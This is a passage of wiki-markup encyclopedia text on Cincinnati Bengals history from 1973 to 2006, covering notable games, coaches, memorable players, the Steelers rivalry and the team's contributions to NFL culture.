*[[December 2]], [[1973]] - The Bengal defense earns another shutout as Cincinnati defeats the [[Minnesota Vikings]] 27-0.

*[[December 16]], [[1973]] - Traveling to [[Houston]], the Bengals defeat the [[Tennessee Titans|Oilers]] 27-24 to clinch its second [[AFC Central]] division crown. Cincinnati won its final six games (the last two of which were on the road) to finish 10-4 in the '73 season, edging out the [[Pittsburgh Steelers]] for the division championship. 

*[[December 22]], [[1973]] - In their second playoff game, the Bengals are once again on the road and fall again to the eventual [[Super Bowl]] champions. In the [[Miami Orange Bowl]], the [[Miami Dolphins]] defeat the Bengals 34-16.

*[[November 10]], [[1974]] - Precision [[quarterback]] Ken Anderson completes 20 of 22 passes (a single game team completion percentage record) as Cincinnati defeats the [[Pittsburgh Steelers]] 17-10. 

*[[December 14]], [[1974]] - Though his team lost the season finale 27-3 to the [[Steelers]] in [[Pittsburgh]], Bengals [[quarterback]] [[Ken Anderson]] finished the season winning the [[NFL]] passing title (the highest [[quarterback rating]]).

*[[September 28]], [[1975]] - The Bengal defense earns its third shutout, drumming the [[New Orleans Saints]] 21-0

*[[November 17]], [[1975]] - Ken Anderson vs. O.J. Simpson
In one of the more memorable games in the history of [[Monday Night Football]], the [[Buffalo Bills]]' [[running back]] O.J. Simpson runs for 197 yards, but the Bengals' [[quarterback]] Ken Anderson passes for 447 yards as the Bengals defeat the [[Buffalo Bills|Bills]] 33-24 in front of a sellout crowd in [[Cincinnati]]'s [[Riverfront Stadium]]. 

*[[December 7]], [[1975]] - The 1975 season is the only one that sees the Bengals shutout two opponents. [[Cincinnati]] shutout the [[Philadelphia Eagles]] 31-0.

*[[December 21]], [[1975]] - In the regular season's final game, the Bengals blew up the [[San Diego Chargers]] 47-17. Despite their 11-3 season record, the Bengals finished second in the [[AFC Central]] division to the defending and eventual [[Super Bowl]] champion [[Pittsburgh Steelers]], who finished 12-2. The 11-3 record enabled the Bengals to capture the AFC [[Wild Card]]. [[Ken Anderson]] won his second consecutive [[NFL]] passing title.

*[[December 28]], [[1975]] - In the organization's third playoff game, the Bengals once again had to travel. Despite a 14-10 victory over the [[Oakland Raiders]] in week five of the regular season, the Raiders top the Bengals in Oakland, 31-28. 

*[[October 10]], [[1976]] - [[Cincinnati]] shutout the [[Tampa Bay Buccaneers]] 21-0.

*[[December 12]], [[1976]] - During the final game of the season in [[New York]]'s [[Shea Stadium]], Bengals' defensive end Coy Bacon sacked [[New York Jets]]' [[quarterback]] [[Joe Namath]] four times in a 42-7 Bengals' rout. Coy got to the opposing passer 22 times in 1976, but the [[NFL]] did not record [[quarterback]] sack statistics until 1982.

*[[October 22]], [[1978]] - In the lowest scoring game in Cincinnati Bengals history, the [[Buffalo Bills]] pitch a 5-0 shutout.

*[[October 19]], [[1980]] - The Bengals shutout the [[Minnesota Vikings|Vikings]] again, 14-0.

*[[December 21]], [[1980]] - Bengals defensive end Eddie Edwards set a single game team record by sacking [[Cleveland Browns]]' quarterback [[Brian Sipe]] five times. the [[Browns]], needing a win to qualify for the playoffs, came out ahead 27-24.

===The 1980s===
The Bengals were an entertaining and successful team reaching the Super Bowl twice, but overall, the 1980s was a decade of missed opportunities for the team. 

====1980s Coaches====
*[[Forrest Gregg]] continued to coach the Bengals through the 1983 season winning 28 and losing 17. 

*Former Bengals' backup [[quarterback]] [[Sam Wyche]] began coaching the Bengals in 1984. Sam would stay on as head coach through the rest of the decade, winning 61 and losing 57. Famous quote: “The next person that throws anything onto this field, point ‘em out and get ‘em outta here! You don’t live in [[Cleveland]], you live in [[Cincinnati]]!”

====Memorable players from the 1980s====
*Eddie Edwards (1977-1988) - [[Defensive end]] who holds the team single game record for [[quarterback sack]]s (5) and career record (83.5).

*[[Eddie Brown]](1985-1991) - Superb deep threat [[Wide Receiver]] who finished his career with 363 receptions for 6,134 yards (an impressive 16.9 yards per catch average) and 41 touchdowns.  Brown was selected as the NFL's offensive rookie of the year in 1985.  In 1988 he recorded 53 receptions for 1,273 yards and 9 touchdowns, assisting the Bengals to Super Bowl XXIII and setting franchise single season records for receiving yards and yards per catch.  [[Chad Johnson]] surpassed Brown's receiving record with 1,355 yards in 2003, but it took him 37 more receptions then Brown(90) to do so

*Ross Browner (1978-1986) - [[Defensive end]] who collected 59 [[quarterback sack]]s.

*Reggie Williams (1976-1989) – played effectively at outside [[linebacker]] and served on [[Cincinnati]] city council. Williams intercepted 14 passes in his career.

*[[Louis Breeden]] (1978-1987) – Breeden is second on the list for all-time career [[interceptions]] with 33.

*[[Jim Breech]] (1980-1992) - Breech was the Bengals [[place kicker]] for 13 seasons.  He is the team's all time leading scorer with 1,151 points, and was a perfect 9 for 9 in overtime field goals during his career, an NFL record.  Breech was also perfect in both of the Bengals Super Bowl appearances in the 1980s, not missing a field goal or extra point in either one.

*[[Tim Krumrie]] (1983-1994) - All-Pro nose tackle who lead the team in tackles in five seasons. He returned as DL position coach until 2002.  Suffered a gruesome broken leg in Super Bowl XXIII.

*[[David Fulcher]] (1986-1992) - hard-hitting, all-pro linebacker-sized strong safety. Fulcher had 31 career [[interceptions]]. He also led the team in [[Tackle (American football)|tackles]] and caused a [[fumble]] in [[Super Bowl XXIII]]. 

*[[Rodney Holman]] (1982-1992) - A 3 time pro bowl (1988-1990) tight end, Holman's superb blocking and pass catching was a key reason for the Bengals' success in the 1980s and assisted them to [[Super Bowl XXIII]].  Career stats are 365 receptions for 4,771 yards and 36 touchdowns. As of 2005, Holman's 318 receptions with the Bengals ranks him as their 6th all time leading receiver.

*[[Dan Ross]] (1979-1985) - Pro bowl tight end who assisted the Bengals to [[Super Bowl XVI]].  Ross recorded a Super Bowl record 11 receptions for 104 yards and 2 touchdowns in the game, which would have likely earned him the [[Super Bowl MVP]] award if his team had won.  Career stats are 290 receptions for 3,419 receiving yards and 19 touchdowns.

*Eric Thomas (1987-1992) – [[Pro Bowl]] [[cornerback]]. Thomas was a vital part of the [[Defense (sport)|defense]] on Bengals 1988 [[Super Bowl]] team. In his career, Thomas collected 15 [[interceptions]].

*[[Anthony Muñoz]] (1980-1992) - Considered by many peers and fans alike to be one of the finest offensive tackles ever, Anthony Muñoz was a perennial [[Pro Bowl]] selection, a three-time Offensive Lineman of the Year (1981, 1987, and 1988), and was named to the team 11 consecutive times. In 1994, Muñoz was named to the National Football League's 75th anniversary all-time team. In 1998, Anthony Muñoz was enshrined in the Pro Football Hall of Fame.

*[[Cris Collinsworth]] (1981-1988) - Tall, lanky, affable wide receiver and three-time Pro Bowler.  His initial foray into broadcasting was substituting for former Bengals tight end Bob Trumpy on Trumpy's WLW radio show.  Has done commentary for HBO, NBC, and Fox Sports.

*[[James Brooks]](1984-1991) – In his eight years as a Bengal [[running back]], Brooks rushed for 6447 yards averaging 4.8 yards per carry. Brooks earned spots on four [[pro bowl]]s. He left the team as the team’s all-time leading rusher, a record now held by [[Corey Dillon]] with 8061 yards.

*[[Boomer Esiason]] (1984-1992, 1997) - Bengals' [[quarterback]] who became renown early on in his career for his ability to execute the [[play action pass]]. His 14 year [[NFL]] career ended after completing 57% of his passes for 247 touchdowns and 37,920 passing yards. He holds the Bengals single season record for passing yards (3959) and single game records for passing yards (490) and touchdown passes (5). Esiason led the Bengals to two [[AFC Central]] division titles and one [[AFC Championship]]. The season before his last, as [[quarterback]] for the [[Arizona Cardinals]], Boomer had thrown for over 1500 yards in just a three week span,, leading the Cardinals to victories over the [[Washington Redskins]], [[Philadelphia Eagles]] and [[New York Giants]]. He was the [[NFL]] [[MVP]] in 1988. Boomer currently does national broadcasting for [[Monday Night Football]] [[Westwood One]] radio and the [[NFL]] on [[CBS]].

*[[Ickey Woods]] (1988-1991) - Fullback who balanced well with his halfback counterpart, [[James Brooks (American Football Player)|James Brooks]], to provide balance in the high potency offense. Ickey was famous for his “Ickey Shuffle” dance after he would score a [[touchdown]]. He rushed for 1066 yards, caught 21 passes for 199 yards, and scored an NFL rookie record 15 touchdowns in his first season, but two [[knee]] surgeries cut his promising career short.

====1980s Games of Note====
*[[December 20]], [[1981]] - The Bengals defeated the [[Atlanta Falcons]] 30-28 in the final regular season game. With their 12-4 record, the Bengals won the [[AFC Central]] division title. [[Quarterback]] [[Ken Anderson]] won his third [[NFL]] passing title.

*[[January 3]], [[1982]] - [[Cincinnati]] hosted its first [[NFL]] playoff game as the Bengals defeated the [[Buffalo Bills]] 28-21 in [[Riverfront Stadium]]. It was the first post season win in franchise history.

*[[January 10]], [[1982]] - The Bengals defeated the [[San Diego Chargers]] in the [[AFC Championship Game]], 27-7, the coldest game ever played in NFL history.  The [[wind chill]] factor brought the game-time temperature down to −56 degrees Fahrenheit (−45 °C).  The Bengals' offensive linemen were on the field with their standard sleeveless jerseys in an effort to intimidate a Charger team more accustomed to the warmer California weather.  The game became known as the [[Freezer Bowl]].

*'''[[Super Bowl XVI]]''', [[January 24]], [[1982]] - Cincinnati appeared in [[Super Bowl XVI]] facing the [[San Fransisco 49ers]].  Played in [[Detroit]]'s [[Silverdome]], It was the first [[Super Bowl]] north of the [[Mason Dixon line]]. it was also the first Super Bowl since [[Super Bowl III]] to feature two teams who had never appeared in one.  ([[Super Bowl XX]] is the only game since with this feature.) The Bengals hurt themselves in the game.  After recovering a fumble from the 49ers on the opening kickoff, the Bengals gave the ball right back to San Fransisco by throwing an interception, leading to a 49ers touchdown on their ensuing possession. Later, a [[fumble]] cost the Bengals a sure score, and another gave the [[San Francisco 49ers|49ers]] a [[field goal]].  By halftime, the 49ers had built up a 20-0 lead, the largest in Super Bowl history at the time. The Bengals made a valiant comeback attempt in the second half, and managed to outscore San Fransisco by 15 points, but committed more costly turnovers;  another interception and a turnover on downs when the 49ers stuffed an attempted fourth down conversion attempt on their own one yard line.  Cincinnati ended up losing the game 26-21 despite outgaining the 49ers in totall yards 356 to 274 and setting 3 Super Bowl records:  most receptions by one player (11 by Dan Ross), most completions ( 25 by Ken Anderson), and highest completion percentage (73.5).

*[[December 20]], [[1982]] - On a [[Monday Night Football]] stage, Bengals' [[quarterback]] Ken Anderson set a single game team record by completing 40 passes in a 50-34 loss to the [[San Diego Chargers]].

*[[January 2]], [[1983]] - In the regular season's final game, the Bengals beat the [[Houston Oilers]] 35-27. Cincinnati once again won the [[AFC Central]] division crown. [[Ken Anderson]] set an [[NFL]] record by completed 20 consecutive passes in the game and finished the season winning his second consecutive passing title. It was the second time in his career he had won the title in back-to-back seasons. Anderson finished the season completing 70.55% of his passes, an [[NFL]] single season record.

*[[January 9]], [[1983]] - The [[New York Jets]] travel to [[Cincinnati]] and blast the Bengals 44-17 in the first round of the [[NFL playoffs]].

*[[December 17]], [[1983]] - Bengals [[cornerback]] Ken Riley played his last game in a 20-14 loss to the [[Minnesota Vikings]]. 

*[[October 28]], [[1984]] - Bengals' bruising [[full back]] Larry Kinnebrew scored four touchdowns setting a team single game scoring record as the Bengals drilled the [[Houston Oilers]] 31-13.

*[[September 28]], [[1986]] - In one of the worst losses in franchise history, the defending [[Super Bowl]] champion [[Chicago Bears]] went into [[Cincinnati]] and trucked the Bengals 44-7. 

*[[December 21]], [[1986]] - In the final game of the 1986 season, Bengals' [[quarterback]] [[Boomer Esiason]] set a team record by throwing five [[touchdown]] passes as Cincinnati shot down the [[New York Jets]] 52-21. It was also the last game for Bengals' [[quarterback]] [[Ken Anderson]]. 

*[[October 16]], [[1988]] - After leading Cincinnati to six straight wins to begin the season, [[Boomer Esiason]] set a single game team record throwing 5 interceptions in a 27-21 loss to the [[New England Patriots]].

*[[November 6]], [[1988]] - Bengals' [[wide receiver]] Eddie Brown set a single game team record by amassing 216 receiving yards as the Bengals abused the [[Pittsburgh Steelers]] 42-7 in [[Cincinnati]]'s [[Riverfront Stadium]].

*[[December 17]], [[1988]] - In the regular season's final game, Bengals [[place kicker]] [[Jim Breech]] kicked a short [[field goal]] in overtime to edge the [[Washington Redskins]] 20-17. The win brought the team to 12-4 and locked up the organization's fifth [[AFC Central]] division title. [[Quarterback]] [[Boomer Esiason]] finishes the season as the [[NFL]]'s top passer. 

*[[December 31]], [[1988]] - [[Cincinnati]] hosted its third [[NFL]] playoff game. A sellout crowd at [[Riverfront Stadium]] watched the [[Bengals]] beat the [[Seattle Seahawks]] 21-13. 

*[[January 8]], [[1989]] - The Cincinnati Bengals shut down the [[Buffalo Bills]] 21-10 to win the organization's second [[AFC Championship]]

*'''[[Super Bowl XXIII]]''', [[January 22]], [[1989]] - The Bengals earned a rematch with the 49ers in [[Super Bowl XXIII]], but lost 20-16 in [[Miami]]'s [[Dolphins Stadium|Joe Robbie Stadium]]. The Bengals boasted the highest-scoring offense in 1988, and rebounded from a 4-12 record in 1987.  But a few unfortunate events prevented the team from capturing the [[world championship]]. The night before the game, Bengals [[full back]] Stanley Wilson suffered a cocaine relapse, and did not participate in the game. Head coach [[Sam Wyche]] was forced to alter the game plan only hours before the opening kickoff. Also, Bengals [[all-pro]] [[nose tackle]] [[Tim Krumrie]] broke his leg in three places while tackling [[Roger Craig]] early in the first quarter of the game. At the start of the fourth quarter, Bengals [[cornerback]] Lewis Billups dropped a sure [[interception]] in the [[end zone]]. The 49ers [[Jerry Rice]] scored on the next play. Despite all the adversity, the game remained close and the Bengals led the 49ers in the waning minutes of the game until the memorable drive late in the game, capped by a touchdown pass from [[Joe Montana]] to [[John Taylor (American football player)|John Taylor]] with only 34 seconds left in the contest, erased a Bengal lead and put the 49ers ahead for good.

*[[October 29]], [[1989]] - [[Boomer Esiason]] tied his own record for [[touchdown]] passes in a game as the Bengals trucked the [[Tampa Bay Buccaneers]] 56-23. The Bengals tied a team record with eight touchdowns in a game.

*[[December 3]], [[1989]] - The Bengals were on the winning end of the only shutout in the [[Battle of Ohio]], flushing the [[Cleveland Browns]] 21-0.

*[[December 17]], [[1989]] - Head coach Sam Wyche was known as an emotional, quotable and outspoken leader. A rivalry developed with the head coach of the Houston Oilers, Jerry Glanville. In an extremely unusual move for an NFL coach, Wyche grossly inflated the final score on Glanville's Oilers. Up 45-0 in the final period, Wyche called for a fourth down conversion attempt (which was successful), and an [[onside kick]] (also successful). The final score was 61-7. After the game Wyche said his only regret was that Bengal kicker Lee Johnson missed an [[extra point]]. Sam also observed that that Glanville's Oilers were the dumbest, most undiciplined team he had ever seen.  

*[[October 7]], [[1990]] - Bengals' [[quarterback]] [[Boomer Esiason]] threw for 490 yards (a single game team passing record) in a 34-31 victory over the [[Los Angeles Rams]].

*[[December 30]], [[1990]] - The Bengals won the [[Battle of Ohio]], beating the [[Cleveland Browns]] 21-14. The victory made the team once again [[AFC Central]] division champs.

*[[January 6]], [[1991]] - In the organization's fifth home playoff game, [[Sam Wyche]] and the Bengals again drill [[Jerry Glanville]] and the [[Houston Oilers]] 41-14.

*[[January 13]], [[1991]] - A week after the victory over the Oilers, the [[Los Angeles Raiders]] knock the Bengals out of the playoffs by a 20-10 score. During the game, [[all-pro]] [[running back]] [[Bo Jackson]] suffered a career ending hip injury on a routine tackle by linebacker Kevin Walker.

===The 1990s===
[[Image:CincinnatiBengals_100.png|right|framed|Bengals' alternate logo (1997-present)]]
Paul Brown, legendary NFL personality and innovator, passed away in 1991. He had already transferred control to his son, [[Mike Brown]], but was reported to still influence the daily operations of the team. Shortly after his passing, the Bengals' fortunes changed for the worse for a long time.

====1990s Coaches====
* Sam Wyche's last year as head coach came was in 1991. After winning 3 and losing 13, Bengals' president and [[CEO]] Mike Brown insisted that Wyche resigned, but Sam insists that Brown fired him.

* David Shula (son of legendary [[Miami Dolphins]] coach [[Don Shula]]) was promoted from WR position coach to head coach in 1992 as the youngest NFL head coach. His last full season was 1995. Shula lost his job after starting the 1996 season 1-6. Shula accumulated win/loss record was 19-52.

* Former Bengals' [[tight end]] and long-time offensive coordinator, [[Bruce Coslet]] took over the coaching duties midway through the 1996 season and coached the Bengals through 1999. Coslet resigned after the first three games of the 2000 season, losing his last game to the [[Baltimore Ravens]] 37-0. Coslet won 21 and lost 39 as Bengals' head coach.

* [[Dick Lebeau]], former DB for Detriot, filled the coaching vacancy left by Coslet. He was the defensive coordinator for the Bengals under Coslet after being coordinator for the division rival [[Pittsburgh Steelers]]. Lebeau led the Bengals to a season record of 4-12 in 2000.

====Memorable players from the 1990s====
*[[Lee Johnson]] (1988-1998) - Was the Bengals punter for 11 seasons.  Set a Super Bowl record for longest punt with a 63 yard punt in [[Super Bowl XXIII]].  Overall, Johnson played 18 seasons in the NFL and recorded a career total of 51,979 punting yards, the third most in NFL history when he was cut from the team. During the dismal decade Johnson made a bitter comment about team management (referring higher than the coaches) and was suspended, fineda and then cut from the team before the Pickens' incident. Johnson was one of the more recognizable and veteran players.

*[[Carl Pickens]] (1992-1999), [[Darnay Scott]] (1994-2001), both wide receivers with quarterback [[Jeff Blake]] (1994-1999). The trio rekindled the Bengals' identity as a high-powered offense. Pickens was a fast and very elusive receiver, well disciplined in routes and excellent hands. Darnay complimented him with his own amazing speed. Pickens was a more favored target of Blake, and when Pickens left Darnay was unable to fill the vacancy. Pickens, with other teams, was nowhere near as successful without Blake as his quarterback. The three worked excellently together and when one wasn't there it fell apart for them as a team or individual.

:*Pickens made the Pro Bowl twice with the Bengals and holds the team record for most receptions in the regular season at 100. He left the team due to personality conflicts (which led to some fines as well as a new player contract clause for later players nicknamed the &quot;Pickens Clause&quot; which penalizes players for disparagring remarks about the club or management). 

:*Scott recorded over 800 receiving yards in all of his 7 seasons with the Bengals, with the sole exception of 1997, when he recorded 797 yards.

:*Blake was the only other quarterback than Esiason in '97 to lead the team to a non-losing record (8-8) during the string of bad seasons. He was famous for his short stature and his &quot;moon ball&quot; (nicknamed such for its high arc) which was a very successful play to [[Carl Pickens]] and [[Darnay Scott]]. He was drafted by the Jets under their head coach of the time, Coslet, and came over as a backup to Klingler when Coslet arrived. Got the start due to injuries and was never challenged for the quarterback position by Klingler again. He was benched after the drafting of [[Akili Smith]]. Blake remained in the league as a starter and backup beyond 2005 whereas neither of his favorite receivers remained in the league for another 2 years after they left the Bengals.

*[[Corey Dillon]] (1997-2003) - Controversial but highly talented running back. He broke many league rookie records (which were subsequently broken in the next year) and Bengal franchise records (which were broken by his replacement [[Rudi Johnson]]). He left the Bengals prior to the 2004 campaign and won [[Super Bowl XXXIX]] with the [[New England Patriots]]. Left the Bengals with insulting statements which many Bengals' fans reacted to with anger.  He holds Bengals records for most career rushing yards(8,061) and rushing yards in one game(274)

*[[Takeo Spikes]] (1998-2002) - Fast, strong (takled hulking and lumbering RB [[Jerome Bettis]] with one hand by the neck collar from behind), emotional and talented inside linebacker. Coupled with [[Brian Simmons]] he was a powerful force and emotional leader for the maligned defense. He left Cincinnati for the Buffalo Bills after the 2-14 season under Lebeau believing Cincinnati would not turn itself around under the rookie head coach Lewis.

*[[Ki-Jana Carter]], [[Dan Wilkinson]], [[Akili Smith]], and [[David Klingler]], were four players drafted during this period touted as &quot;franchise saving&quot; individuals. Whether it was a lack of talent, poor coaching, bad luck with injuries, each one of these drafts proved to be an astoundingly horrible selection. Dan Wilkinson is the only one who remained in the league with other teams but never had the &quot;breakout season&quot; to justify his 1st-round draft status and high paying initial contract.

====1990s Games of Note====
*[[September 1]], [[1991]] - The [[Denver Broncos]] stomped the Bengals 45-14 to open the season. This game would prove to be the beginning of what would come to be known as &quot;the lost decade&quot;. Including 1991, the Bengals would go on to post a losing record in eleven of the next twelve seasons. There would be few games of note during this period. 

*[[December 27]], [[1992]] - Left [[Tackle (American football)|tackle]] [[Anthony Muñoz]], the man who almost all agree was the greatest [[NFL]] player to ever wear a Bengal uniform, played his last professional regular season game. Muñoz was voted to eleven consecutive [[Pro Bowls]], played in two [[Super Bowls]] and, after his retirement, was named to the [[NFL 75th Anniversary All-Time Team]].  The Bengals lost the game, 20-17 to the [[Indianapolis Colts]].

*[[December 21]], [[1997]] - Bengals' [[quarterback]] [[Boomer Esiason]] played his last [[NFL]] game.  His last play was a 79 yard touchdown play-action pass to [[wide receiver]] [[Darnay Scott]]. Cincinnati won the game 16-7. Boomer finished the season with a 107 [[quarterback rating]].

*[[September 24]], [[2000]] - The [[Baltimore Ravens]] mauled the Bengals 37-0 in the most lop sided loss in franchise history. 

*[[October 22]], [[2000]] - In a 31-21 victory against the [[Denver Broncos]], Bengals [[Pro Bowl]] [[running back]] [[Corey Dillon]] captured the single game rushing record. [[Corey Dillon|Dillon]] ran for 278 yards breaking the previous mark set by the [[Chicago Bears]]' [[Walter Payton]]. [[Jamal Lewis]] of the [[Baltimore Ravens]] broke [[Corey Dillon|Dillon]]'s record in 2003.

===The Early 2000s===
The Bengals began to emerge from more than a decade of being the worst-performing team of that era (edging out the Cardinals) into a new era of increased consistency under Marvin Lewis. Carson Palmer, the future star quarterback, was drafted in 2003 but did not play a snap that whole season, as Jon Kitna had a comeback year (voted NFL Comeback Player of the Year). Despite Kitna's success, Carson was promoted to starting quarterback the following season and Kitna apparently happily took the position of backup quarterback and embraced the role of mentor for the young quarterback.

'''Intensification of Rivalry with Pittsburgh Steelers'''&lt;br&gt;
The Bengals have played the Steelers more than any other team in the NFL (the Browns missed keeping pace by being out of the league for a few years, the Oilers/Titans team was moved from the division, and the Baltimore Ravens are considered a &quot;new&quot; franchise as Cleveland retained its rights to the name and history). While the Bengals were in the midst of a terrible decade the intensity of the rivalries tapered off.

:*[[Ben Roethlisberger]] was brought onto the Steelers' team in 2004 and his impressive early achievements, along with those of Carson Palmer, have been heralded as the beginning of a dynamic rivalry for some time to come.

:*Dick Lebeau was fired from the head coach position from Cincinnati and returned to Pittsburgh as defensive coordinator. He either coached for Pittsburgh or Cincinnati for most of his NFL coaching career often going from one directly to the other.

:*Kimo Von Olhoffen was drafted by the Bengals and when Lebeau returned to Pittsburgh (the first time after being defensive coordinator for the Bengals) he took Kimo with him. Kimo, the former Bengal, was responsible for the hit that took Carson Palmer out of the '05-'06 AFC Wild Card game with a knee injury.

:*[[Troy Polamalu]], the high profile safety for the Steelers, and Palmer were [[University of Southern California|USC]] roommates. In one particular play Polamalu intercepted Palmer and, on the runback, Palmer was the last remaining Bengal in position to tackle him and Polamalu ran over him in a brutal surge and scored.

:*[[Rudi Johnson]] grew up in the same neighborhood as a Steelers linebacker and they actually played against each other growing up.

:*Head coaches, Lewis and [[Bill Cowher]], grew up in the same area of Pittsburgh and actually played against each other in little-league football. Later, Cowher would hire Lewis as an assistant coach for defense, giving him his first NFL job.

:* The Steelers began taunting the Bengals by using Cincinnati cheers and chants in a mocking fashion. Hines Ward celebrated a touchdown in their regular season victory at Paul Brown Stadium by doing the Ickey Shuffle. After the Steelers beat the Bengals in the 1st round of playoffs the Steelers were noted chanting &quot;Who-Dey!&quot; followed by a &quot;We dey!&quot;

[[Paul Brown Stadium]] was built for the 2000 season using private and public money. In tribute to his father, Mike Brown refused corporate offers to have the stadium renamed for their company which became a trend in the NFL and other sports team around that time.

====Early 2000's Coaches====
[[Dick Lebeau]] lost his job as head coach after winning just two games throughout the 2002 season. Lebeau went 12-33 as head coach. His last season was a franchise worst 2-14 and had the worst winning percentage of all non-interim Bengal coaches of 26.67%. He returned to Pittsburgh as the defensive coordinator.

Current head coach [[Marvin Lewis]] won 8 and lost 8 in both the 2003 and the 2004 season. He secured the 1st winning season for the Bengal's franchise since 1991-92 playoff. Has not had a losing season since taking over. He has introduced season &quot;themes&quot;, from &quot;Do Your Job&quot; in 2004-05 to &quot;Keep on Digging&quot; 2003-04.

:Defensive coordinators under Lewis were Leslie Frazier then followed by Chuck Bresnahan. Frazier, who was hired by Lewis in his first year, left the club citing personality differences and left to become a successful defensive coordinator for Chicago Bears. Bresnahan was brought in and the Bengal's turnover differential in his 1st year was a huge turnaround amounting to a +24 differential after the 12th game.

:Offensive coordinator Bob Bratkowski was held over from Dick Lebeau's coaching staff. In the years following Cincinnati has regained it's franchise-characteristic high-potency offense.

====Memorable players from the early 2000s====
*[[Carson Palmer]], 2002 [[Heisman Trophy]] Award winner. First Bengal's QB to have a 100+ passer rating for the season, and broke several team passing records in his 2nd year as a starter (attempts, completions, and touchdowns)
* '''The Johnsons''', wide receiver: [[Chad Johnson]], tailback: [[Rudi Johnson]], and fullback/lead blocker: [[Jeremi Johnson]] formed an offensive trio that propelled the Bengals' offense into it's high-standing.
:* Chad Johnson broke the team record for reception yards in consecutive years ('04 &amp; '05 season, 1400+ yards)
:* Rudi Johnson broke the team record for rushing yards in consecutive years ('04 &amp; '05 season)
*[[Willie Anderson (NFL)|Willie Anderson]] and [[Levi Jones]] are the left and right tackles. Willie Anderson has started a franchise record amount of consecutive games.
*[[Deltha O'Neal]] and [[Tory James]] alternated leading the Bengals in interceptions where one or both gained yearly recognition by making it into the Pro Bowl.
*[[Shayne Graham]] signed by the Bengals after being cut from 2 other teams, Graham set a Bengals record by making 88% (22 of 25) of his field goals in his first season with them.  He made the [[pro bowl]] in 2005, and has not yet missed an extra point in his career.

====Early 2000s Games of Note====
*[[December 8]], [[2002]] - The [[Carolina Panthers]] drop 52 points on the lowly Bengals, the most ever relinquished by any Bengal team. The final score was 52-31.

*[[November 16]], [[2003]] - By week 11 of the 2003 regular season the [[Kansas City Chiefs]] were the only remaining undefeated team in the league, at 9-0.  The Bengals had the worst record of any [[NFL]] team between 1991 and 2002, and at the time had a record of only 4-5 under rookie head coach [[Marvin Lewis]].  [[Chad Johnson]], Cincinnati's 2nd-year wide receiver, made headlines with a pre-game guarantee that the Bengals would win the game [http://cbs.sportsline.com/nfl/story/6820988].  The Bengals went on to beat the Chiefs, 24-19. After the game, [[Marvin Lewis]] declared, &quot;The [[NFL]] is back in [[Cincinnati]].&quot;

*[[October 25]], [[2004]] - With much fanfare from Cincinnati residents, [[Monday Night Football]] returned to Cincinnati after a fifteen-year absence.  In their first MNF appearance in twelve years, the Bengals (1-4) were matched against the [[Denver Broncos]] (5-1), whose defense was ranked number one in the NFL.  Considered a long shot, the Bengals defeated the Broncos, 23-10.

*[[November 28]], [[2004]] - The [[Cleveland Browns]] once again find themselves on the losing end of the [[Battle of Ohio]], losing 58-48 to the Bengals in the second-highest scoring game in [[NFL]] history (106 total points).

*[[December 5]], [[2004]] - In another hopeful sign for fans that the Bengals were truly shedding their losing ways, they beat the [[Baltimore Ravens]], 27-26.  More importantly than the divisional win was the fact that it marked the first time since 1990 the Bengals had won a game on the road when facing a team with a winning record (an NFL record 42 straight losses).

*[[September 24]], [[2005]] - After forcing five [[interceptions]] the previous week against the Vikings, the Bengals intercepted five more this game against the Bears. In doing so, the team accomplished a feat that had not been done in 34 years. The last team to have back-to-back games with 5 or more interceptions was the 1971 [[Browns]]. Later in the season, they faced the [[Green Bay Packers]], another NFC North team, and also intercepted 5 passes on their way to victory.

*[[December 4]], [[2005]] - With a 38-31 win over the [[Pittsburgh Steelers]], the Bengals assured themselves of the team's first winning season since 1990.  Additionally, the team moved ahead of the Steelers by 2 games, taking a major step towards securing a playoff berth, and just as important, gained respect for the Bengals after years of futility.

*[[December 18]], [[2005]] - The Bengals clinch the AFC North title and their first playoff appearance in fifteen years with a 41-17 rout of the [[Detroit Lions]]. [[Carson Palmer]] (QB) sets a franchise record with 30 touchdown passes in a single season, [[Deltha O'Neal]] (CB) even sets a franchise record for most interceptions in a season with 10.

'''AFC Wild-Card Round'''
*[[January 8]], [[2006]] - The Bengals hosted their first ever playoff game at [[Paul Brown Stadium]], against the [[Pittsburgh Steelers]]. Star quarterback [[Carson Palmer]] was injured on his second play from scrimmage, his first postseason pass attempt, (which was completed to rookie wide receiver [[Chris Henry]] for a Bengals postseason record play of 66 yards; Henry was also injured on that very play) with a torn ACL, and the team failed to rally around [[Jon Kitna]]. Multiple injuries and many fights marred the game demonstrating the intense friction due to familiarity and tension between the teams. The almost incestuous relationship between management and players (due to trades, mentoring, even players growing up in the same neighborhood) bind the teams closely together and are a great source of bitterness as well. Many predict that this game will escalate the rivalry between the Steelers and Bengals.

:This year neither team's home field advantage proved advantageous.  In the series the home team lost every game. The Steelers defeated the Bengals in the wild-card playoff game, 31-17.

==Contributions to NFL Culture==
===The Ickey Shuffle===
The most commonly recognized contribution comes from the &quot;'''Ickey Shuffle'''&quot;, a celebratory dance created by Bengals running back [[Ickey Woods]] in his rookie season of 1988 during the Bengals' Super Bowl run. This dance, done after Woods would score a touchdown, was the catalyst for the NFL instituting penalties against excessive celebratory performances (resulting in the [[backronym]] &quot;No Fun League&quot;), and before the 1989 season was over it was relegated to the sidelines. (although not before [[Darrell Waltrip]] used it in Victory Lane celebrations after winning the [[1989]] [[Daytona 500]])

===No Huddle Offense===
A '''[[No-Huddle Offense]]''' was commonly used by all teams when time in the game was running low. However, [[Sam Wyche]], the head coach of the Bengals in 1988, along with offensive coordinator [[Bruce Coslet]], made the high-paced offense the standard modality for the ball club regardless of time remaining. By quickly setting up for the next play (often within 5-10 seconds after the last play despite being afforded 45 seconds) this hindered the other teams' defense from substituting situational players, regrouping for tactics, and, some suggest, increased the defenses' rate of fatigue (This is attributed to the belief that the offense dictates when a play starts so they tend to be more mentally relaxed and prepared for the start of a play where the defense must remain on a different level of alert before the play starts). In response to this tactic the NFL instituted several rules related to this tactic:
* Allowing the defense ample time for substitutions
* If a player's injury causes the play-clock to stop, the player must sit out at least one play
* Charging a time-out to a team when a player is injured within a certain time period of the game

The tactic was used by the franchise from the late 80s while Sam Wyche was the coach. The main rivals for AFC supremacy were the [[Buffalo Bills]], coached by [[Marv Levy]]. Most of the high-profile games (the various games for AFC Conference titles and regular season games) between the two led to these changes in NFL rules.

